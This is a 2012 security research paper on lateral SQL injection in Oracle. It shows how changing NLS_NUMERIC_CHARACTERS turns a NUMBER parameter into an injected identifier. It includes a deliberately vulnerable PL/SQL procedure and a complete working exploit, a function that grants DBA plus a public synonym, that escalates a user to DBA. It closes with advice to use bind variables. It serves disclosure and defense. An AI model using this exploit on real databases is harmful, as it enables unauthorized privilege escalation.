Lateral SQL Injection Revisited

Exploiting NUMBERs

Document Profile

Version	1.0
Published	1/31/2012

Revision History

Version	Date	Description
1.0	01/31/2012	Document published.

Authors

- David Litchfield (dlitchfield@accuvant.com)

Contents

Introduction

In February 2008 I published a paper called Lateral SQL Injection [1] that introduced a novel approach to exploiting SQL injection flaws by manipulating the environment in such a way as to control the format of datatypes such as DATE. This environment manipulation opens up an attack vector to exploit previously unexploitable issues. The previous paper [1] concludes by demonstrating that even NUMBER datatypes could be manipulated to facilitate exploitation but it omits exploitation details. This paper presents those missing exploitation details so that the reader can fully understand how the technique works.

It must be stressed up front that whilst these findings are important, exploitation is somewhat limited: an attacker needs the *CREATE PUBLIC SYNONYM* system privilege as a prerequisite to effect this attack, which helps to mitigate the risk. One should not place faith solely in this prerequisite to afford protection, as methods may be found that bypass the need for this privilege in the future. Instead, it is best practice to use variable binding in order to completely mitigate the risk this technique poses.

Exploiting Numeric Concatenations

In order to understand the technique being presented, it helps to start with an example procedure that is vulnerable to SQL injection. The PL/SQL code in **Figure 1** contains a vulnerable example procedure named *NUM_PROC.*

```
1  CREATE OR REPLACE PROCEDURE NUM_PROC(n NUMBER)
2  IS
3    stmt VARCHAR2(2000);
4  BEGIN
5    stmt := 'select object_name from all_objects where object_id = ' || n;
6    EXECUTE IMMEDIATE stmt;
7  END;
```

Figure 1

The code in **Figure 1** creates a procedure called *NUM_PROC* that takes a number named *n* as input. The input is concatenated to a SQL query on line 5, which is then executed on line 6. The parameter definition on line 1 specifies that a *NUMERIC* data type must be passed and line 5 converts the *NUMERIC* data type to a string before concatenation. Since there is no way to inject an SQL string, this code could be considered to be invulnerable to SQL injection. However, if we explore methods to manipulate the way this number is converted into a string we can expand our influence on the SQL statement executed on line 6.

One method of manipulating *NUMERIC* to string conversion is by changing the character used to represent the decimal separator. According to [3], Oracle uses the session variable *NLS_NUMERIC_CHARACTERS* when converting a *NUMERIC* value to a string. The format of *NLS_NUMERIC_CHARACTERS* is a string where the first character specifies the decimal separator and the second character specifies the group separator. For a concrete example, consider the SQL session in **Figure 2**.

```
1  SQL> SELECT TO_NUMBER('1.01', '0D00') FROM dual;
2  TO_NUMBER('1.01','0D00')
3  ------------------------
4                       1.01
5  SQL> ALTER SESSION SET NLS_NUMERIC_CHARACTERS='P ';
6  Session altered.
7  SQL> SELECT TO_NUMBER('1P01', '0D00') FROM dual;
8  TO_NUMBER('1P01','0D00')
9  ------------------------
10                      1P01
```

Figure 2

The session in **Figure 2** shows a quick way to check how *NUMERIC* values will look once converted into strings. In **Figure 2**, line 1 calls the *TO_NUMBER* function specifying the string representation of the value 1.01. Once the function is invoked on line 1, the function *TO_NUMBER* takes the string input and converts it into a *NUMERIC* value. When the value is displayed on line 4 it is converted from the *NUMERIC* value of 1.01 back into the string value "1.01".

The command in **Figure 2** on line 5 changes the value of *NLS_NUMERIC_CHARACTERS* to a value specifying that the decimal character should be a P character and the group separator should be a space character. When *TO_NUMBER* is called again on line 7, the output on line 10 is now "1P01" as compared to the previous output of "1.01". The reader should note that the *ALTER SESSION* privilege is not required to change the value of *NLS_NUMERIC_CHARACTERS* as is done on line 5.

While the string manipulation shown in **Figure 2** demonstrates our ability to influence the conversion from a *NUMERIC* value to a string, the example in **Figure 2** is not much use for exploiting *NUM_PROC*. The immediate issue is that the tokenizer won't convert a number followed by a character followed by a number into anything of value. However, as it happens, Oracle will omit leading numbers before the decimal character if the whole number portion is zero.

```
1  SQL> ALTER SESSION SET NLS_NUMERIC_CHARACTERS='P ';
2  Session altered.
3  SQL> SELECT TO_NUMBER('0P01', '0D00') FROM dual;
4  TO_NUMBER('0P01','0D00')
5  ------------------------
6                        P01
```

Figure 3

If we can cause the *NUMERIC* to string conversion to result in a string that will be misinterpreted by the tokenizer as something other than a *NUMERIC*, that would be of some use to exploit *NUM_PROC.* **Figure 3** demonstrates our ability to manipulate a *NUMERIC* to string conversion in a way that produces a valid object identifier. On line 3 the value 0.01, represented as "0P01", is converted to a number by the function *TO_NUMBER* and when the return value is converted to a string for display purposes on line 6, it is converted to "P01". You can see in **Figure 4** the effect of passing the value 0.01 to the *NUM_PROC* procedure with the *NLS_NUMERIC_CHARACTERS* value altered.

```
1  SQL> ALTER SESSION SET NLS_NUMERIC_CHARACTERS ='P ';
2  Session altered.
3  SQL> EXEC SYS.NUM_PROC(TO_NUMBER('0P01', '0D00'));
4  BEGIN SYS.NUM_PROC(TO_NUMBER('0P01', '0D00')); END;
5  *
6  ERROR at line 1:
7  ORA-00904: "P01": invalid identifier
8  ORA-06512: at "SYS.NUM_PROC", line 6
9  ORA-06512: at line 1
```

Figure 4

In **Figure 4** line 3 the value 0.01 is passed into the *NUM_PROC* procedure for the parameter *n*. In the *NUM_PROC* procedure, before *n* can be concatenated to the beginning of the SQL statement, the value 0.01 is converted from a *NUMERIC* type into a string type. Since the whole number portion of 0.01 is equal to zero, the first digit is omitted as we have previously demonstrated. The decimal character P that we specified in the *NLS_NUMERIC_CHARACTERS* variable becomes the first character of the string representation followed by the hundredths value 01. Thus, the *NUM_PROC* function appends the string representation "P01" to the end of the SQL statement. When this statement is executed, the parsing engine mistakenly believes that "P01" is an object identifier and produces the invalid identifier message in **Figure 4** line 7. If we cleverly combine the above techniques, we can exploit *NUM_PROC* to execute arbitrary SQL.

```
1  SQL> CONNECT / AS sysdba
2  Connected.
3  SQL> GRANT CREATE PUBLIC SYNONYM TO scott;
4  Grant succeeded.
5  SQL> GRANT EXECUTE ON NUM_PROC TO PUBLIC;
6  Grant succeeded.
7  SQL> CONNECT scott/password
8  Connected.
9  SQL> CREATE OR REPLACE FUNCTION P01
10   2  RETURN NUMBER
11   3  AUTHID current_user
12   4  IS
13   5   PRAGMA autonomous_transaction;
14   6  BEGIN
15   7   EXECUTE IMMEDIATE 'grant dba to scott';
16   8   RETURN 1;
17   9  END;
18  10  /
19 Function created.
20 SQL> GRANT EXECUTE ON P01 TO PUBLIC;
21 Grant succeeded.
22 SQL> CREATE PUBLIC SYNONYM P01 FOR P01;
23 Synonym created.
```

Figure 5

The SQL session in **Figure 5** demonstrates setting up the preconditions for exploitation. First we grant *SCOTT* the ability to create public acronyms on line 3. Second, on line 7 we reconnect to the database using *SCOTT*'s credentials. Third, on lines 9 through 18 we create a function named *P01* that, when it is executed, it will grant *DBA* privileges to SCOTT. Finally, on line 22 we created a public synonym for the

P01 function so that users other than *SCOTT* may call it using the identifier *P01* instead of *scott.P01*. Creating the synonym is important since our current technique only allows us to specify a single character followed by a *NUMERIC* value, therefore we wouldn't be able to execute a function that wasn't a public synonym. In order to create the public synonym we must have the *CREATE PUBLIC SYNONYM* privilege associated with our account as mentioned previously in this paper. Now, with everything in place we can proceed to exploiting the vulnerable *NUM_PROC* procedure.

```
1  SQL> ALTER SESSION SET NLS_NUMERIC_CHARACTERS ='P ';
2  Session altered.
3  SQL> -- This will fail
4  SQL> SET ROLE dba;
5  set role dba
6  *
7  ERROR at line 1:
8  ORA-01924: role 'DBA' not granted or does not exist
9  SQL> -- now inject P01 to grant dba privs
10 SQL> EXEC SYS.NUM_PROC(TO_NUMBER('P01', 'D00'));
11 PL/SQL procedure successfully completed.
12 SQL> SET ROLE dba;
13 Role set.
14 SQL>
```

Figure 6

In the SQL session represented in **Figure 6**, we start out by changing the numeric separators on line 1 as we have done previously. In order to illustrate that the user *SCOTT* does not have DBA permissions we attempt to set the permissions on line 4, and the attempt fails with the error output present on lines 6 through 8. On line 10 we execute the *NUM_PROC* procedure and specify that the *n* parameter's value is 0.01. Changing the numeric separators causes the *NUM_PROC* function to concatenate "P01" to the end of the SQL statement resulting in *NUM_PROC* executing our malicious *P01* function. Finally, on line 12 we retry setting the DBA role and succeed as evidenced by line 13.

As can be seen in **Figure 6** line 13, the attacker now has membership of the DBA role. What would normally be considered unexploitable has become more exploitable. In order to prevent such attacks, as all secure coding standards should mandate, concatenation should be disallowed. Bind variables can be used instead of concatenation and they are less prone to exploitation (though even then verification of user input should be performed – see Cursor Snarfing [2]).

[Author's note: I should've spotted this technique 4 years ago when originally researching Lateral SQL Injection and am somewhat embarrassed that I didn't. Sometimes you can get too focused that you can't see the forest for the trees! Indeed, having discussed this technique with Oracle, their internal Ethical Hacking Team spotted this technique a few weeks after the original paper. Whilst they chose not to disseminate the technique to the general public, I'm assured that their coding scanning tools have been updated to catch these flaws.]

Bibliography

- **[1] Lateral SQL Injection** (http://www.databasesecurity.com/dbsec/lateral-sql-injection.pdf)
- **[2] Cursor Snarfing** (http://www.databasesecurity.com/dbsec/cursor-snarfing.pdf)
- **[3] Oracle Database Reference –** NLS_NUMERIC_CHARACTERS (http://docs.oracle.com/cd/B28359_01/server.111/b28320/initparams144.htm)